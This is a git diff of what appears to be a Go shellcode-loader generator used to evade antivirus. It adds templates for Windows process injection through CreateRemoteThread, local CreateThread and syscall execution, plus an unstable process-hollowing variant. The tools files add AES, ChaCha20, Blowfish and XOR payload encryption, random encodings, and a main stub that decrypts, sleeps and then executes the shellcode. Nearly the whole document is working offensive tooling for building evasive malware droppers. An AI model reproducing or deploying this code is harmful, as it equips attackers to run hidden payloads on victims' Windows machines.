-        os.Exit(1)
-    }
-
-    /* overwriting process memory with our shellcode */
-    _, _, err = WriteProcessMemory.Call(
-        uintptr(process.Process),
-        baseAddr,
-        uintptr(unsafe.Pointer(&shellcode[0])),
-        uintptr(len(shellcode)),
-        0,
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* changing permissions for our memory segment */
-    _, _, err = VirtualProtectEx.Call(
-        uintptr(process.Process),
-        baseAddr,
-        uintptr(len(shellcode)),
-        PAGE_EXECUTE_READ,
-        uintptr(unsafe.Pointer(&oldProtectCfg)),
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* load remote thread */
-    _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* close process handler */
-    _, _, err = closeHandle.Call(uintptr(process.Process))
-    if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-}
-`, hexKey, hexShellcode, hexTarget)
-}
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -0,0 +1,101 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCRTTemplate(targetProcess string) string {
+	return fmt.Sprintf(`
+package main
+
+import (
+    "syscall"
+    "unsafe"
+)
+
+
+const (
+    MEM_COMMIT                = 0x1000
+    MEM_RESERVE               = 0x2000
+    PAGE_READWRITE            = 0x4
+    PAGE_EXECUTE_READ         = 0x20
+    PAGE_EXECUTE_READWRITE    = 0x40
+    CREATE_SUSPENDED          = 0x4
+    CREATE_NO_WINDOW          = 0x8000000
+)
+
+var (
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+
+    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
+    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
+    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
+    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
+)
+
+
+func loadProcess(target string) *syscall.ProcessInformation {
+    var si syscall.StartupInfo
+	var pi syscall.ProcessInformation
+
+	commandLine, err := syscall.UTF16PtrFromString(target)
+	if err != nil {
+		panic(err)
+	}
+
+    err = syscall.CreateProcess(
+		nil,
+		commandLine,
+		nil,
+		nil,
+		false,
+		CREATE_SUSPENDED | CREATE_NO_WINDOW,
+		nil,
+		nil,
+		&si,
+		&pi,
+    ); if err != nil {
+		panic(err)
+	}
+
+	return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+    /* spawn target process */
+    process := loadProcess("%s")
+    oldProtectCfg := PAGE_READWRITE
+
+     /* allocating the appropriate amount of memory */
+    baseAddr, _, _ := VirtualAllocEx.Call(
+        uintptr(process.Process),
+        0,
+        uintptr(len(shellcode)),
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE,
+    )
+
+    /* overwriting process memory with our shellcode */
+    _, _, _ = WriteProcessMemory.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        0,
+    )
+
+    /* changing permissions for our memory segment */
+    _, _, _ = VirtualProtectEx.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(len(shellcode)),
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtectCfg)),
+    )
+
+    /* load remote thread */
+    _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+}
+    `, targetProcess)
+}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -0,0 +1,65 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCreateThreadTemplate(targetProcess string) string {
+	var _ = targetProcess // unused in this template
+
+	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+	return fmt.Sprintf(`
+package main
+
+import (
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32        = syscall.MustLoadDLL("kernel32.dll")
+	ntdll           = syscall.MustLoadDLL("ntdll.dll")
+
+    WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+	CreateThread        = kernel32.MustFindProc("CreateThread")
+
+    RtlCopyMemory   = ntdll.MustFindProc("RtlCopyMemory")
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	_, _, _ = RtlCopyMemory.Call(
+		addr,
+		(uintptr)(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+	)
+
+    threadAddr, _, _ := CreateThread.Call(
+		0,
+		0,
+		addr,
+		0,
+		0,
+		0,
+	)
+
+    WaitForSingleObject.Call(
+        threadAddr,
+        0xFFFFFFFF,
+    )
+}
+    `)
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -0,0 +1,182 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+/*
+   For more information, feel free to read this:
+   https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf
+
+   Adapted from
+   https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
+*/
+
+func GetProcessHollowingTemplate(targetProcess string) string {
+
+	println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
+	println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
+
+	return fmt.Sprintf(`
+package main
+
+import (
+	"encoding/binary"
+	"syscall"
+	"unsafe"
+)
+
+
+const (
+    CREATE_SUSPENDED          = 0x00000004
+    CREATE_NO_WINDOW          = 0x08000000
+
+    MEM_COMMIT                = 0x00001000
+    MEM_RESERVE               = 0x00002000
+    PAGE_EXECUTE_READWRITE    = 0x00000040
+)
+
+var (
+	kernel32                = syscall.MustLoadDLL("kernel32.dll")
+    readProcessMemory       = kernel32.MustFindProc("ReadProcessMemory")
+	writeProcessMemory      = kernel32.MustFindProc("WriteProcessMemory")
+	resumeThread            = kernel32.MustFindProc("ResumeThread")
+    WaitForSingleObject     = kernel32.MustFindProc("WaitForSingleObject")
+
+	ntdll                       = syscall.MustLoadDLL("ntdll.dll")
+    zwQueryInformationProcess   = ntdll.MustFindProc("ZwQueryInformationProcess")
+)
+
+
+/* need to redefine this so that compile doesnt whine */
+type PROCESS_BASIC_INFORMATION struct {
+	Reserved1    uintptr
+	PebAddress   uintptr
+	Reserved2    uintptr
+	Reserved3    uintptr
+	UniquePid    uintptr
+	MoreReserved uintptr
+}
+
+
+func createProcess(processName string) *syscall.ProcessInformation {
+    var si syscall.StartupInfo
+	var pi syscall.ProcessInformation
+
+	commandLine, err := syscall.UTF16PtrFromString(processName); if err != nil {
+		panic(err)
+	}
+
+    err = syscall.CreateProcess(
+		nil,
+		commandLine,
+		nil,
+		nil,
+		false,
+		CREATE_SUSPENDED | CREATE_NO_WINDOW,
+		nil,
+		nil,
+		&si,
+		&pi,
+    ); if err != nil {
+		panic(err)
+	}
+
+	return &pi
+}
+
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+    processName := "%s"
+    process := createProcess(processName)
+    pHandle := uintptr(process.Process)
+    tHandle := uintptr(process.Thread)
+
+	pointerSize := unsafe.Sizeof(uintptr(0))
+	basicInfo := &PROCESS_BASIC_INFORMATION{}
+	unusedTmpValue := 0
+
+    /* Get Process Environment Block */
+    r, _, err := zwQueryInformationProcess.Call(
+        pHandle,
+        0,
+        uintptr(unsafe.Pointer(basicInfo)),
+        pointerSize * 6,
+        uintptr(unsafe.Pointer(&unusedTmpValue)),
+    ); if r != 0 {
+        panic(err)
+    }
+
+    /* Query PEB for ImageBaseAddress */
+	imageBaseAddress := basicInfo.PebAddress + 0x10
+
+    // Get entry point of the actual process executable
+    // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
+    // From the PEB (address we got in last call), we have to do the following:
+    // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
+    // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
+    // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
+    // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
+    // 5. Get the absolute address of the entrypoint by adding this value to the base executable address.
+
+
+    // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
+    procAddr := make([]byte, 0x8)
+	read := 0
+
+    r, _, err = readProcessMemory.Call(
+        pHandle,
+        imageBaseAddress,
+        uintptr(unsafe.Pointer(&procAddr[0])),
+        uintptr(len(procAddr)),
+        uintptr(unsafe.Pointer(&read)),
+    ); if r == 0 {
+        panic(err)
+    }
+
+    // now we can read PE header
+	exeBaseAddr := binary.LittleEndian.Uint64(procAddr)
+    peBuffer := make([]byte, 0x200)
+	r, _, err = readProcessMemory.Call(
+        pHandle,
+        uintptr(exeBaseAddr),
+        uintptr(unsafe.Pointer(&peBuffer[0])),
+        uintptr(len(peBuffer)),
+        uintptr(unsafe.Pointer(&read)),
+    ); if r == 0 {
+        panic(err)
+    }
+
+    // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
+	lfaNewPos := peBuffer[0x3c : 0x3c + 0x4]
+	lfanew := binary.LittleEndian.Uint32(lfaNewPos)
+
+    // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
+	rvaOffset := lfanew + 0x28
+
+    // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
+    rvaOffsetPos := peBuffer[rvaOffset : rvaOffset + 0x4]
+    rva := binary.LittleEndian.Uint32(rvaOffsetPos)
+
+    // 5. Get the absolute address of the entrypoint by adding this value to the base executable address.
+    entrypointAddress := exeBaseAddr + uint64(rva)
+
+
+    /* overwrite process memory at entrypointAddress */
+    r, _, err = writeProcessMemory.Call(
+        pHandle,
+        uintptr(entrypointAddress),
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        0,
+    ); if r == 0 {
+        panic(err)
+    }
+
+    /* trigger shellcode execution */
+	r, _, err = resumeThread.Call(tHandle); if r == 0 {
+        panic(err)
+    }
+}
+    `, targetProcess)
+}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -0,0 +1,43 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetSyscallTemplate(targetProcess string) string {
+	_ = targetProcess // unused in this technique
+
+	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+
+	return fmt.Sprintf(`
+package main
+
+import (
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT = 0x1000
+	MEM_RESERVE = 0x2000
+	PAGE_EXECUTE_READ = 0x20
+	PAGE_READWRITE = 0x04
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+	kernel32 := syscall.MustLoadDLL("kernel32.dll")
+	ntdll := syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
+	VirtualProtect := kernel32.MustFindProc("VirtualProtect")
+	RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+
+	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+	oldProtect := PAGE_READWRITE
+	_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+	_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+}
+    `)
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -0,0 +1,21 @@
+package loaders
+
+func SelectTemplate(templateName string) func(string) string {
+
+	switch templateName {
+	case "CRT":
+		return GetCRTTemplate
+
+	case "CreateThread":
+		return GetCreateThreadTemplate
+
+	case "ProcessHollowing":
+		return GetProcessHollowingTemplate
+
+	case "Syscall":
+		return GetSyscallTemplate
+
+	}
+
+	return nil
+}
diff --git a/tools/crypting.go b/tools/crypting.go
@@ -0,0 +1,246 @@
+package tools
+
+import (
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"errors"
+	"fmt"
+	"io"
+
+	"golang.org/x/crypto/blowfish"
+	"golang.org/x/crypto/chacha20poly1305"
+)
+
+func GetChacha20Template() string {
+	return fmt.Sprintf(`
+package main
+
+import (
+    "golang.org/x/crypto/chacha20poly1305"
+
+    "errors"
+)
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+    enc, err := chacha20poly1305.NewX(key)
+    if err != nil {
+        return []byte{}, err
+    }
+
+    nonceSize := enc.NonceSize()
+	if len(toDecrypt) < nonceSize {
+		return nil, errors.New("Ciphertext too short")
+	}
+
+	nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:]
+    return enc.Open(nil, nonce, ciphertext, nil)
+}
+    `)
+}
+
+func GetBlowfishTemplate() string {
+	return fmt.Sprintf(`
+package main
+
+import (
+    "golang.org/x/crypto/blowfish"
+
+    "crypto/cipher"
+)
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+    dcipher, err := blowfish.NewCipher(key)
+    if err != nil {
+        return []byte{}, err
+    }
+
+    div := toDecrypt[:blowfish.BlockSize]
+    decrypted := toDecrypt[blowfish.BlockSize:]
+    dcbc := cipher.NewCBCDecrypter(dcipher, div)
+    dcbc.CryptBlocks(decrypted, decrypted)
+
+    return decrypted, nil
+}
+    `)
+}
+
+func GetAESTemplate() string {
+	return fmt.Sprintf(`
+package main
+
+import (
+    "crypto/aes"
+    "crypto/cipher"
+    "errors"
+)
+
+func Decrypt(encrypted []byte, key []byte) ([]byte, error) {
+    c, err := aes.NewCipher(key)
+    if err != nil {
+        return nil, err
+    }
+
+    gcm, err := cipher.NewGCM(c)
+    if err != nil {
+        return nil, err
+    }
+
+    nonceSize := gcm.NonceSize()
+    if len(encrypted) < nonceSize {
+        return nil, errors.New("ciphertext too short")
+    }
+
+    nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
+    return gcm.Open(nil, nonce, ciphertext, nil)
+}
+    `)
+}
+
+func GetXORTemplate() string {
+	return fmt.Sprintf(`
+package main
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+    encrypted := make([]byte, len(toDecrypt))
+    keyLen := len(key)
+
+    for i, b := range toDecrypt {
+        encrypted[i] = b ^ key[i %% keyLen]
+    }
+    return encrypted, nil
+}
+    `)
+}
+
+func DecryptChacha20(toDecrypt []byte, key []byte) ([]byte, error) {
+	enc, err := chacha20poly1305.NewX(key)
+	if err != nil {
+		return []byte{}, err
+	}
+
+	nonceSize := enc.NonceSize()
+	if len(toDecrypt) < nonceSize {
+		return nil, errors.New("Ciphertext too short")
+	}
+
+	nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:]
+	return enc.Open(nil, nonce, ciphertext, nil)
+}
+
+func EncryptChacha20(toCrypt []byte, key []byte) ([]byte, error) {
+
+	enc, err := chacha20poly1305.NewX(key)
+	if err != nil {
+		return []byte{}, err
+	}
+
+	nonce := make([]byte, enc.NonceSize())
+	_, err = io.ReadFull(rand.Reader, nonce)
+	if err != nil {
+		return []byte{}, err
+	}
+
+	return enc.Seal(nonce, nonce, toCrypt, nil), nil
+}
+
+func EncryptBlowfish(toCrypt []byte, key []byte) ([]byte, error) {
+
+	/*
+	   let's add the required padding :)~
+	   source: https://stackoverflow.com/a/46747195
+	*/
+
+	modulus := len(toCrypt) % blowfish.BlockSize
+	if modulus != 0 {
+		padlen := blowfish.BlockSize - modulus
+		for i := 0; i < padlen; i++ {
+			toCrypt = append(toCrypt, 0)
+		}
+	}
+
+	ecipher, err := blowfish.NewCipher(key)
+	if err != nil {
+		return []byte{}, err
+	}
+
+	ciphertext := make([]byte, blowfish.BlockSize+len(toCrypt))
+	eiv := ciphertext[:blowfish.BlockSize]
+	ecbc := cipher.NewCBCEncrypter(ecipher, eiv)
+	ecbc.CryptBlocks(ciphertext[blowfish.BlockSize:], toCrypt)
+
+	return ciphertext, nil
+}
+
+func DecryptBlowfish(toDecrypt []byte, key []byte) ([]byte, error) {
+	dcipher, err := blowfish.NewCipher(key)
+	if err != nil {
+		return []byte{}, err
+	}
+
+	div := toDecrypt[:blowfish.BlockSize]
+	decrypted := toDecrypt[blowfish.BlockSize:]
+	dcbc := cipher.NewCBCDecrypter(dcipher, div)
+	dcbc.CryptBlocks(decrypted, decrypted)
+
+	return decrypted, nil
+}
+
+func EncryptXOR(toEncrypt []byte, key []byte) ([]byte, error) {
+	encrypted := make([]byte, len(toEncrypt))
+	keyLen := len(key)
+
+	for i, b := range toEncrypt {
+		encrypted[i] = b ^ key[i%keyLen]
+	}
+	return encrypted, nil
+}
+
+func DecryptXOR(toDecrypt []byte, key []byte) ([]byte, error) {
+	encrypted := make([]byte, len(toDecrypt))
+	keyLen := len(key)
+
+	for i, b := range toDecrypt {
+		encrypted[i] = b ^ key[i%keyLen]
+	}
+	return encrypted, nil
+}
+
+func EncryptAES(toEncrypt []byte, key []byte) ([]byte, error) {
+	c, err := aes.NewCipher(key)
+	if err != nil {
+		return nil, err
+	}
+
+	gcm, err := cipher.NewGCM(c)
+	if err != nil {
+		return nil, err
+	}
+
+	nonce := make([]byte, gcm.NonceSize())
+	if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
+		return nil, err
+	}
+
+	return gcm.Seal(nonce, nonce, toEncrypt, nil), nil
+}
+
+func DecryptAES(encrypted []byte, key []byte) ([]byte, error) {
+	c, err := aes.NewCipher(key)
+	if err != nil {
+		return nil, err
+	}
+
+	gcm, err := cipher.NewGCM(c)
+	if err != nil {
+		return nil, err
+	}
+
+	nonceSize := gcm.NonceSize()
+	if len(encrypted) < nonceSize {
+		return nil, errors.New("ciphertext too short")
+	}
+
+	nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
+	return gcm.Open(nil, nonce, ciphertext, nil)
+}
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -0,0 +1,72 @@
+package tools
+
+import (
+	b32 "encoding/base32"
+	b64 "encoding/base64"
+	"encoding/hex"
+	"errors"
+	"fmt"
+	"math/rand"
+	"time"
+)
+
+// / Enum type that defines which bytes encoding to use
+// / in template source-code
+type BytesEncodingType string
+
+const (
+	EncodingBase64 BytesEncodingType = "base64"
+	EncodingBase32 BytesEncodingType = "base32"
+	EncodingHex    BytesEncodingType = "hex"
+)
+
+// / Available encodings type
+var Encodings = [3]string{"base64", "base32", "hex"}
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *BytesEncodingType) String() string {
+	return string(*e)
+}
+
+// / Set must have pointer receiver so it doesn't change the value of a copy
+func (e *BytesEncodingType) Set(v string) error {
+	switch v {
+	case "base64", "base32", "hex":
+		*e = BytesEncodingType(v)
+		return nil
+	default:
+		return errors.New(`unknown encoding type`)
+	}
+}
+
+// / Type is only used in help text
+func (e *BytesEncodingType) Type() string {
+	return "BytesEncodingType"
+}
+
+// / Select a random encoding type
+func SelectRandomEncodingType() BytesEncodingType {
+	rand.Seed(time.Now().Unix())
+	n := rand.Int() % len(Encodings)
+
+	return BytesEncodingType(Encodings[n])
+}
+
+// / Encode a series of bytes so that it can be interpolated into a template
+func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
+
+	switch method {
+
+	case EncodingBase64:
+		return fmt.Sprintf("\"%s\"", b64.StdEncoding.EncodeToString(toEncode))
+
+	case EncodingBase32:
+		return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode))
+
+	case EncodingHex:
+		return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode))
+
+	default:
+		return ""
+	}
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -0,0 +1,169 @@
+package tools
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"math/rand"
+	"os"
+)
+
+func MoveFile(sourcePath, destPath string) error {
+	inputFile, err := os.Open(sourcePath)
+	if err != nil {
+		return fmt.Errorf("Couldn't open source file: %s", err)
+	}
+	outputFile, err := os.Create(destPath)
+	if err != nil {
+		inputFile.Close()
+		return fmt.Errorf("Couldn't open dest file: %s", err)
+	}
+	defer outputFile.Close()
+	_, err = io.Copy(outputFile, inputFile)
+	inputFile.Close()
+	if err != nil {
+		return fmt.Errorf("Writing to output file failed: %s", err)
+	}
+	// The copy was successful, so now delete the original file
+	err = os.Remove(sourcePath)
+	if err != nil {
+		return fmt.Errorf("Failed removing original file: %s", err)
+	}
+	return nil
+}
+
+func WriteToFile(outfile string, filname string, toWrite string) error {
+
+	full_path := fmt.Sprintf("%s/%s", outfile, filname)
+	file, err := os.OpenFile(full_path, os.O_TRUNC|os.O_WRONLY, 0644)
+	if err != nil {
+		return err
+	}
+
+	file.WriteString(toWrite)
+	file.Close()
+	return nil
+}
+
+func RandomString(n int) string {
+	var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
+	s := make([]rune, n)
+	for i := range s {
+		s[i] = letters[rand.Intn(len(letters))]
+	}
+	return string(s)
+}
+
+func ReadFile(filepath string) ([]byte, error) {
+	buf := bytes.NewBuffer(nil)
+	f, err := os.Open(filepath)
+	if err != nil {
+		return []byte{}, err
+	}
+
+	io.Copy(buf, f)
+	f.Close()
+
+	return buf.Bytes(), nil
+}
+
+func DirExists(dir string) (bool, error) {
+	_, err := os.Stat(dir)
+	if err == nil {
+		return true, nil
+	}
+
+	if os.IsNotExist(err) {
+		return false, nil
+	}
+	return false, err
+}
+
+func CreateTmpProjectRoot(path string) error {
+
+	fmt.Printf("[+] Initializing temporary build directory\n")
+
+	/*
+	   create a directory with the path name
+	   defined by the options
+	*/
+
+	exists, err := DirExists(path)
+	if err != nil {
+		return err
+	}
+
+	if exists {
+		fmt.Printf("[!] %s already exists...Removing\n", path)
+		os.RemoveAll(path)
+	}
+
+	err = os.MkdirAll(path, 0777)
+	if err != nil {
+		return err
+	}
+
+	var go_mod = []byte(`
+module github.com/cmepw/myph
+
+go 1.20
+
+    `)
+
+	gomod_path := fmt.Sprintf("%s/go.mod", path)
+	fo, err := os.Create(gomod_path)
+	fo.Write(go_mod)
+
+	maingo_path := fmt.Sprintf("%s/main.go", path)
+	_, _ = os.Create(maingo_path)
+
+	execgo_path := fmt.Sprintf("%s/exec.go", path)
+	_, _ = os.Create(execgo_path)
+
+	encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
+	_, _ = os.Create(encryptgo_path)
+
+	println("\n")
+	return nil
+}
+
+func GetMainTemplate(
+	encoding string,
+	key string,
+	sc string,
+	sleepTime uint,
+) string {
+
+	/* if hex encoding is used, it does not require to go through StdEncoding */
+	encCall := "enc.StdEncoding"
+	if encoding == "hex" {
+		encCall = "enc"
+	}
+
+	return fmt.Sprintf(`
+package main
+
+import (
+    "time"
+    "os"
+    enc "encoding/%s"
+)
+
+var Key = %s
+var Code = %s
+
+func main() {
+
+    decodedSc, _ := %s.DecodeString(Code)
+    decodedKey, _ := %s.DecodeString(Key)
+
+    decrypted, err := Decrypt(decodedSc, decodedKey)
+    if err != nil {
+        os.Exit(1)
+    }
+
+    time.Sleep(%d * time.Second)
+    ExecuteOrderSixtySix(decrypted)
+}
+    `, encoding, key, sc, encCall, encCall, sleepTime)
+}